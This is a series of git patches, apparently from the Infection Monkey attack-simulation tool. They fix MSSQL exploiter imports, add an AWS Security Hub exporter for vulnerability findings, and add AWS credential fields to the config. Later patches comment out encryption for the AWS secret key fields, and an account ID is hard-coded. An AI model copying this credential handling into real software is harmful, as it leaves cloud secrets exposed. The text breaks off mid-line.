Date: Mon, 22 Oct 2018 16:34:23 +0300 Subject: [PATCH 10/71] cleared old files --- monkey/infection_monkey/exploit/__init__.py | 2 +- .../infection_monkey}/exploit/mssqlexec.py | 0 .../infection_monkey}/exploit/mssqlexec_utils.py | 0 3 files changed, 1 insertion(+), 1 deletion(-) rename {infection_monkey => monkey/infection_monkey}/exploit/mssqlexec.py (100%) rename {infection_monkey => monkey/infection_monkey}/exploit/mssqlexec_utils.py (100%) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index bad6780eb..9ea2bcc75 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -45,4 +45,4 @@ from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter from infection_monkey.exploit.struts2 import Struts2Exploiter from infection_monkey.exploit.weblogic import WebLogicExploiter from infection_monkey.exploit.hadoop import HadoopExploiter -from mssqlexec import MSSQLExploiter \ No newline at end of file +from infection_monkey.exploit.mssqlexec import MSSQLExploiter diff --git a/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py similarity index 100% rename from infection_monkey/exploit/mssqlexec.py rename to monkey/infection_monkey/exploit/mssqlexec.py diff --git a/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py similarity index 100% rename from infection_monkey/exploit/mssqlexec_utils.py rename to monkey/infection_monkey/exploit/mssqlexec_utils.py From 3e90b6d49585a22a1f919270d9236a6146b64efa Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 22 Oct 2018 17:09:57 +0300 Subject: [PATCH 11/71] fixed imports --- monkey/infection_monkey/exploit/mssqlexec.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 590741428..f527c1e73 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -3,8 +3,7 @@ import logging import pymssql -import mssqlexec_utils -from exploit import HostExploiter +from exploit import HostExploiter, mssqlexec_utils __author__ = 'Maor Rayzin' From f547b23ef84f4c24577d8f28b0b132d993ad6c0a Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Tue, 23 Oct 2018 11:50:24 +0300 Subject: [PATCH 12/71] imports fix --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/mssqlexec_utils.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index f527c1e73..5c3c92600 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -3,7 +3,7 @@ import logging import pymssql -from exploit import HostExploiter, mssqlexec_utils +from infection_monkey.exploit import HostExploiter, mssqlexec_utils __author__ = 'Maor Rayzin' diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py index 2089047bb..ab8b88e60 100644 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ b/monkey/infection_monkey/exploit/mssqlexec_utils.py @@ -4,7 +4,7 @@ import logging import pymssql -from exploit.tools import get_interface_to_target +from infection_monkey.exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer From 7179d840a76e8042f51320b543528ad3e3d994c2 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 19 Nov 2018 15:40:16 +0200 Subject: [PATCH 13/71] adding the exporter father class and aws implement --- monkey/monkey_island/cc/resources/aws_exporter.py | 9 +++++++++ monkey/monkey_island/cc/resources/exporter.py | 9 +++++++++ 2 files changed, 18 insertions(+) create mode 100644 monkey/monkey_island/cc/resources/aws_exporter.py create mode 100644 monkey/monkey_island/cc/resources/exporter.py diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py new file mode 100644 index 000000000..cca47d968 --- /dev/null +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -0,0 +1,9 @@ +from exporter import Exporter + +class AWSExporter(Exporter): + + def __init__(self): + Exporter.__init__(self) + + def handle_report(self, report_json): + pass \ No newline at end of file diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py new file mode 100644 index 000000000..98f3e7662 --- /dev/null +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -0,0 +1,9 @@ + + +class Exporter: + + def __init__(self): + pass + + def handle_report(self, report_json): + raise NotImplementedError From 271c024574b83fc45418329b85ef03faef629b0c Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 25 Nov 2018 12:39:47 +0200 Subject: [PATCH 14/71] * Added env' config * Added exporters and aws exporter * changed report generation to be automatic on monkey death with support of on-demand report generation and mongo storage --- .../cc/environment/environment.py | 2 + .../cc/resources/aws_exporter.py | 294 +++++++++++++++++- monkey/monkey_island/cc/resources/exporter.py | 4 +- monkey/monkey_island/cc/resources/root.py | 2 + monkey/monkey_island/cc/services/node.py | 4 + monkey/monkey_island/cc/services/report.py | 62 +++- monkey/monkey_island/requirements.txt | 1 + 7 files changed, 345 insertions(+), 24 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment.py b/monkey/monkey_island/cc/environment/environment.py index 9e89208ef..70fc025c3 100644 --- a/monkey/monkey_island/cc/environment/environment.py +++ b/monkey/monkey_island/cc/environment/environment.py @@ -5,6 +5,8 @@ import aws logger = logging.getLogger(__name__) +AWS = 'aws' +STANDARD = 'standard' ENV_DICT = { 'standard': standard.StandardEnvironment, diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index cca47d968..363114948 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -1,9 +1,293 @@ -from exporter import Exporter +import logging +import uuid +from datetime import datetime +import boto3 + +from cc.resources.exporter import Exporter + +logger = logging.getLogger(__name__) + class AWSExporter(Exporter): - def __init__(self): - Exporter.__init__(self) + @staticmethod + def handle_report(report_json): - def handle_report(self, report_json): - pass \ No newline at end of file + findings_list = [] + issues_list = report_json['recommendations']['issues'] + for machine in issues_list: + for issue in issues_list[machine]: + findings_list.append(AWSExporter._prepare_finding(issue)) + + if not AWSExporter._send_findings(findings_list): + logger.error('Exporting findings to aws failed') + return False + + return True + + @staticmethod + def merge_two_dicts(x, y): + z = x.copy() # start with x's keys and values + z.update(y) # modifies z with y's keys and values & returns None + return z + + @staticmethod + def _prepare_finding(issue): + findings_dict = { + 'island_cross_segment': AWSExporter._handle_island_cross_segment_issue, + 'ssh': AWSExporter._handle_ssh_issue, + 'shellshock': AWSExporter._handle_shellshock_issue, + 'tunnel': AWSExporter._handle_tunnel_issue, + 'elastic': AWSExporter._handle_elastic_issue, + 'smb_password': AWSExporter._handle_smb_password_issue, + 'smb_pth': AWSExporter._handle_smb_pth_issue, + 'sambacry': AWSExporter._handle_sambacry_issue, + 'shared_passwords': AWSExporter._handle_shared_passwords_issue, + } + + finding = { + "SchemaVersion": "2018-10-08", + "Id": uuid.uuid4().hex, + "ProductArn": "arn:aws:securityhub:us-west-2:324264561773:product/aws/guardduty", + "GeneratorId": issue['type'], + "AwsAccountId": "324264561773", + "Types": [ + "Software and Configuration Checks/Vulnerabilities/CVE" + ], + "CreatedAt": datetime.now().isoformat() + 'Z', + "UpdatedAt": datetime.now().isoformat() + 'Z', + } + return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) + + @staticmethod + def _send_findings(findings_list): + + securityhub = boto3.client('securityhub') + import_response = securityhub.batch_import_findings(Findings=findings_list) + print import_response + if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: + return True + else: + return False + + @staticmethod + def _handle_tunnel_issue(issue): + finding =\ + { + "Severity": { + "Product": 5, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['dest'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Weak segmentation - Machines were able to communicate over unused ports." + finding["Description"] = "Use micro-segmentation policies to disable communication other than the required." + finding["Remediation"] = { + "Recommendation": { + "Text": "Machines are not locked down at port level. Network tunnel was set up from {0} to {1}" + .format(issue['machine'], issue['dest']) + } + } + return finding + + @staticmethod + def _handle_sambacry_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": str(issue['ip_address']) + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Samba servers are vulnerable to 'SambaCry'" + finding["Description"] = "Change {0} password to a complex one-use password that is not shared with other computers on the network. Update your Samba server to 4.4.14 and up, 4.5.10 and up, or 4.6.4 and up."\ + .format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SambaCry attack. The Monkey authenticated over the SMB protocol with user {2} and its password, and used the SambaCry vulnerability.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_smb_pth_issue(issue): + finding = \ + { + "Severity": { + "Product": 5, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to a SMB attack. The Monkey used a pass-the-hash attack over SMB protocol with user {2}.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_ssh_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using SSH passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network.".format(issue['username']) + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SSH attack. The Monkey authenticated over the SSH protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding + + @staticmethod + def _handle_elastic_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Elasticsearch servers are vulnerable to CVE-2015-1427" + finding["Description"] = "Update your Elastic Search server to version 1.4.3 and up." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427.".format(issue['machine'], issue['ip_address']) + } + } + return finding + + @staticmethod + def _handle_island_cross_segment_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['networks'][0][:-2] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Weak segmentation - Machines from different segments are able to communicate." + finding["Description"] = "egment your network and make sure there is no communication between machines from different segments." + finding["Remediation"] = { + "Recommendation": { + "Text": "The network can probably be segmented. A monkey instance on \ + {0} in the networks {1} \ + could directly access the Monkey Island server in the networks {2}.".format(issue['machine'], + issue['networks'], + issue['server_networks']) + } + } + return finding + + @staticmethod + def _handle_shared_passwords_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": '10.0.0.1' + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Multiple users have the same password" + finding["Description"] = "Some users are sharing passwords, this should be fixed by changing passwords." + finding["Remediation"] = { + "Recommendation": { + "Text": "These users are sharing access password: {0}.".format(issue['shared_with']) + } + } + return finding + + @staticmethod + def _handle_shellshock_issue(issue): + finding = \ + { + "Severity": { + "Product": 10, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are vulnerable to 'Shellshock'" + finding["Description"] = "Update your Bash to a ShellShock-patched version." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a ShellShock attack. The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a shell injection attack on the paths: {3}.".format(issue['machine'], issue['ip_address'], issue['port'], issue['paths']) + } + } + return finding + + @staticmethod + def _handle_smb_password_issue(issue): + finding = \ + { + "Severity": { + "Product": 1, + "Normalized": 100 + }, + "Resources": [{ + "Type": "IpAddress", + "Id": issue['ip_address'] + }], + "RecordState": "ACTIVE", + } + + finding["Title"] = "Machines are accessible using passwords supplied by the user during the Monkey's configuration." + finding["Description"] = "Change {0}'s password to a complex one-use password that is not shared with other computers on the network." + finding["Remediation"] = { + "Recommendation": { + "Text": "The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB protocol with user {2} and its password.".format(issue['machine'], issue['ip_address'], issue['username']) + } + } + return finding diff --git a/monkey/monkey_island/cc/resources/exporter.py b/monkey/monkey_island/cc/resources/exporter.py index 98f3e7662..1cf0c1b10 100644 --- a/monkey/monkey_island/cc/resources/exporter.py +++ b/monkey/monkey_island/cc/resources/exporter.py @@ -1,9 +1,9 @@ - class Exporter: def __init__(self): pass - def handle_report(self, report_json): + @staticmethod + def handle_report(report_json): raise NotImplementedError diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 1d9141589..10e8f5170 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -65,5 +65,7 @@ class Root(flask_restful.Resource): if not infection_done: report_done = False else: + if is_any_exists: + ReportService.get_report() report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 072917974..1f9b68ebe 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -294,6 +294,10 @@ class NodeService: def is_monkey_finished_running(): return NodeService.is_any_monkey_exists() and not NodeService.is_any_monkey_alive() + @staticmethod + def get_latest_modified_monkey(): + return mongo.db.monkey.find({}).sort('modifytime', -1).limit(1) + @staticmethod def add_credentials_to_monkey(monkey_id, creds): mongo.db.monkey.update( diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index d8f9b9b96..b9fdf89e7 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -8,6 +8,8 @@ from enum import Enum from six import text_type from cc.database import mongo +from cc.environment.environment import load_env_from_file, AWS +from cc.resources.aws_exporter import AWSExporter from cc.services.config import ConfigService from cc.services.edge import EdgeService from cc.services.node import NodeService @@ -123,9 +125,9 @@ class ReportService: 'label': node['label'], 'ip_addresses': node['ip_addresses'], 'accessible_from_nodes': - (x['hostname'] for x in + list((x['hostname'] for x in (NodeService.get_displayed_node_by_id(edge['from'], True) - for edge in EdgeService.get_displayed_edges_by_to(node['id'], True))), + for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))), 'services': node['services'] }) @@ -659,26 +661,19 @@ class ReportService: @staticmethod def is_report_generated(): - generated_report = mongo.db.report.find_one({'name': 'generated_report'}) + generated_report = mongo.db.report.find_one({}) if generated_report is None: return False - return generated_report['value'] + return True @staticmethod - def set_report_generated(): - mongo.db.report.update( - {'name': 'generated_report'}, - {'$set': {'value': True}}, - upsert=True) - logger.info("Report marked as generated.") - - @staticmethod - def get_report(): + def generate_report(): domain_issues = ReportService.get_domain_issues() issues = ReportService.get_issues() config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() cross_segment_issues = ReportService.get_cross_segment_issues() + monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime'] report = \ { @@ -710,17 +705,50 @@ class ReportService: { 'issues': issues, 'domain_issues': domain_issues + }, + 'meta': + { + 'latest_monkey_modifytime': monkey_latest_modify_time } } - - finished_run = NodeService.is_monkey_finished_running() - if finished_run: - ReportService.set_report_generated() + ReportService.export_to_exporters(report) + mongo.db.report.drop() + mongo.db.report.insert_one(report) return report + @staticmethod + def is_latest_report_exists(): + latest_report_doc = mongo.db.report.find_one({}, {'meta.latest_monkey_modifytime': 1}) + + if latest_report_doc: + report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] + latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] + return report_latest_modifytime == latest_monkey_modifytime + + return False + + @staticmethod + def get_report(): + if ReportService.is_latest_report_exists(): + return mongo.db.report.find_one() + return ReportService.generate_report() + @staticmethod def did_exploit_type_succeed(exploit_type): return mongo.db.edge.count( {'exploits': {'$elemMatch': {'exploiter': exploit_type, 'result': True}}}, limit=1) > 0 + + @staticmethod + def get_active_exporters(): + # This function should be in another module in charge of building a list of active exporters + exporters_list = [] + if load_env_from_file() == AWS: + exporters_list.append(AWSExporter) + return exporters_list + + @staticmethod + def export_to_exporters(report): + for exporter in ReportService.get_active_exporters(): + exporter.handle_report(report) diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt index 29c364c9f..f094df947 100644 --- a/monkey/monkey_island/requirements.txt +++ b/monkey/monkey_island/requirements.txt @@ -14,3 +14,4 @@ netifaces ipaddress enum34 PyCrypto +boto3 \ No newline at end of file From d21558e81a978f8e00d37873039967ebc36a6948 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Sun, 25 Nov 2018 14:17:20 +0200 Subject: [PATCH 15/71] * encrypted config --- monkey/monkey_island/cc/services/config.py | 37 ++++++++++++++++++- .../ui/src/components/pages/ConfigurePage.js | 2 +- 2 files changed, 36 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 64b359f61..33223a6e7 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -862,7 +862,37 @@ SCHEMA = { } } } - } + }, + 'island_configuration': { + 'title': 'Island Configuration', + 'type': 'object', + 'properties': + { + 'aws_config': + { + 'title': 'AWS Configuration', + 'type': 'object', + 'properties': + { + 'iam_role_id': + { + 'title': 'IAM role ID', + 'type': 'string' + }, + 'aws_access_key': + { + 'title': 'AWS access key ID', + 'type': 'string' + }, + 'aws_secret_access_key': + { + 'title': 'AWS Secret Access Key', + 'type': 'string' + } + } + } + } + } }, "options": { "collapsed": True @@ -874,7 +904,10 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['basic', 'credentials', 'exploit_password_list'], ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], - ['internal', 'exploits', 'exploit_ssh_keys'] + ['internal', 'exploits', 'exploit_ssh_keys'], + ['island_configuration', 'aws_config', 'iam_role_id'], + ['island_configuration', 'aws_config', 'aws_access_key'], + ['island_configuration', 'aws_config', 'aws_secret_access_key'], ] diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index a97447df0..7e08170e2 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -10,7 +10,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentSection = 'basic'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'monkey_island']; // set schema from server this.state = { From 2dfbc1645082feff66ea56d76fab6bcfd536b27b Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 11:48:43 +0200 Subject: [PATCH 16/71] * Added aws creds keys to configuration * Added boto session creation using credentials * Added a flag in the get_config function to separate island configuration values from monkey ones. * --- .../cc/resources/aws_exporter.py | 21 ++++++- monkey/monkey_island/cc/services/config.py | 63 +++++++++---------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 3 files changed, 48 insertions(+), 38 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 363114948..f8501c30c 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -4,9 +4,13 @@ from datetime import datetime import boto3 from cc.resources.exporter import Exporter +from cc.services.config import ConfigService logger = logging.getLogger(__name__) +AWS_CRED_CONFIG_KEYS = [['cnc', 'aws_config', 'aws_access_key_id'], + ['cnc', 'aws_config', 'aws_secret_access_key']] + class AWSExporter(Exporter): @@ -19,12 +23,21 @@ class AWSExporter(Exporter): for issue in issues_list[machine]: findings_list.append(AWSExporter._prepare_finding(issue)) - if not AWSExporter._send_findings(findings_list): + if not AWSExporter._send_findings(findings_list, AWSExporter._get_aws_keys()): logger.error('Exporting findings to aws failed') return False return True + @staticmethod + def _get_aws_keys(): + creds_dict = {} + for key in AWS_CRED_CONFIG_KEYS: + creds_dict[key[2]] = ConfigService.get_config_value(key) + + return creds_dict + + @staticmethod def merge_two_dicts(x, y): z = x.copy() # start with x's keys and values @@ -60,9 +73,11 @@ class AWSExporter(Exporter): return AWSExporter.merge_two_dicts(finding, findings_dict[issue['type']](issue)) @staticmethod - def _send_findings(findings_list): + def _send_findings(findings_list, creds_dict): - securityhub = boto3.client('securityhub') + securityhub = boto3.client('securityhub', + aws_access_key_id=creds_dict.get('aws_access_key_id', ''), + aws_secret_access_key=creds_dict.get('aws_secret_access_key', '')) import_response = securityhub.batch_import_findings(Findings=findings_list) print import_response if import_response['ResponseMetadata']['HTTPStatusCode'] == 200: diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 33223a6e7..b5ef28f65 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -639,6 +639,28 @@ SCHEMA = { "description": "The current command server the monkey is communicating with" } } + }, + 'aws_config': { + 'title': 'AWS Configuration', + 'type': 'object', + 'description': 'These credentials will be used in order to export the monkey\'s findings to the AWS Security Hub.', + 'properties': { + 'iam_role_id': { + 'title': 'IAM role ID', + 'type': 'string', + 'description': '' + }, + 'aws_access_key_id': { + 'title': 'AWS access key ID', + 'type': 'string', + 'description': 'Your AWS public access key ID, can be found in the IAM user interface in the AWS console.' + }, + 'aws_secret_access_key': { + 'title': 'AWS secret access key', + 'type': 'string', + 'description': 'Your AWS secret access key id, you can get this after creating a public access key in the console.' + } + } } } }, @@ -863,36 +885,6 @@ SCHEMA = { } } }, - 'island_configuration': { - 'title': 'Island Configuration', - 'type': 'object', - 'properties': - { - 'aws_config': - { - 'title': 'AWS Configuration', - 'type': 'object', - 'properties': - { - 'iam_role_id': - { - 'title': 'IAM role ID', - 'type': 'string' - }, - 'aws_access_key': - { - 'title': 'AWS access key ID', - 'type': 'string' - }, - 'aws_secret_access_key': - { - 'title': 'AWS Secret Access Key', - 'type': 'string' - } - } - } - } - } }, "options": { "collapsed": True @@ -905,9 +897,9 @@ ENCRYPTED_CONFIG_ARRAYS = \ ['internal', 'exploits', 'exploit_lm_hash_list'], ['internal', 'exploits', 'exploit_ntlm_hash_list'], ['internal', 'exploits', 'exploit_ssh_keys'], - ['island_configuration', 'aws_config', 'iam_role_id'], - ['island_configuration', 'aws_config', 'aws_access_key'], - ['island_configuration', 'aws_config', 'aws_secret_access_key'], + # ['cnc', 'aws_config', 'iam_role_id'], + # ['cnc', 'aws_config', 'aws_access_key_id'], + # ['cnc', 'aws_config', 'aws_secret_access_key'], ] @@ -918,11 +910,12 @@ class ConfigService: pass @staticmethod - def get_config(is_initial_config=False, should_decrypt=True): + def get_config(is_initial_config=False, should_decrypt=True, is_island=False): """ Gets the entire global config. :param is_initial_config: If True, the initial config will be returned instead of the current config. :param should_decrypt: If True, all config values which are set as encrypted will be decrypted. + :param is_island: If True, will include island specific configuration parameters. :return: The entire global config. """ config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}) or {} @@ -930,6 +923,8 @@ class ConfigService: config.pop(field, None) if should_decrypt and len(config) > 0: ConfigService.decrypt_config(config) + if not is_island: + config['cnc'].pop('aws_config', None) return config @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 7e08170e2..a97447df0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -10,7 +10,7 @@ class ConfigurePageComponent extends AuthComponent { this.currentSection = 'basic'; this.currentFormData = {}; - this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal', 'monkey_island']; + this.sectionsOrder = ['basic', 'basic_network', 'monkey', 'cnc', 'network', 'exploits', 'internal']; // set schema from server this.state = { From 30a6d7542fc26e1f7eda497c5803b2f07142ed78 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 12:12:24 +0200 Subject: [PATCH 17/71] * deleted a line --- monkey/monkey_island/cc/resources/aws_exporter.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index f8501c30c..6295f28f3 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -37,7 +37,6 @@ class AWSExporter(Exporter): return creds_dict - @staticmethod def merge_two_dicts(x, y): z = x.copy() # start with x's keys and values From a79c60e9bc2344c8cf4034abca733f2d25af98eb Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Mon, 26 Nov 2018 12:59:06 +0200 Subject: [PATCH 18/71] * added instance ID to each issue in an aws machine * changed findings resource to ec2 instance id instead of IP --- .../cc/resources/aws_exporter.py | 36 +++++++++---------- .../monkey_island/cc/resources/telemetry.py | 2 ++ monkey/monkey_island/cc/services/report.py | 7 ++++ 3 files changed, 27 insertions(+), 18 deletions(-) diff --git a/monkey/monkey_island/cc/resources/aws_exporter.py b/monkey/monkey_island/cc/resources/aws_exporter.py index 6295f28f3..3f138e688 100644 --- a/monkey/monkey_island/cc/resources/aws_exporter.py +++ b/monkey/monkey_island/cc/resources/aws_exporter.py @@ -93,8 +93,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['dest'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -118,8 +118,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": str(issue['ip_address']) + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -143,8 +143,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -167,8 +167,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -191,8 +191,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -215,8 +215,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['networks'][0][:-2] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -243,8 +243,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": '10.0.0.1' + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -267,8 +267,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } @@ -291,8 +291,8 @@ class AWSExporter(Exporter): "Normalized": 100 }, "Resources": [{ - "Type": "IpAddress", - "Id": issue['ip_address'] + "Type": "AwsEc2Instance", + "Id": issue['aws_instance_id'] }], "RecordState": "ACTIVE", } diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 0db3b0eb4..6fc8f06f8 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -191,6 +191,8 @@ class Telemetry(flask_restful.Resource): if 'wmi' in telemetry_json['data']: wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) wmi_handler.process_and_handle_wmi_info() + if 'aws' in telemetry_json['data']: + mongo.db.monkey.insert({'aws_instance_id': 